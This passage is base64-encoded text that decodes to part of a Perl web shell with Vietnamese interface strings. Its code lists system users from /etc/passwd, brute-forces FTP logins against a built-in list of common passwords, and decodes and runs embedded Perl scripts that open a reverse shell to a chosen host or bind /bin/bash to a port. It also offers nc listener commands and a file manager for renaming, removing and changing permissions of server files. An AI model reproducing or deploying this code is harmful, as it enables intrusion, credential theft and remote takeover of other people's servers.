NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJ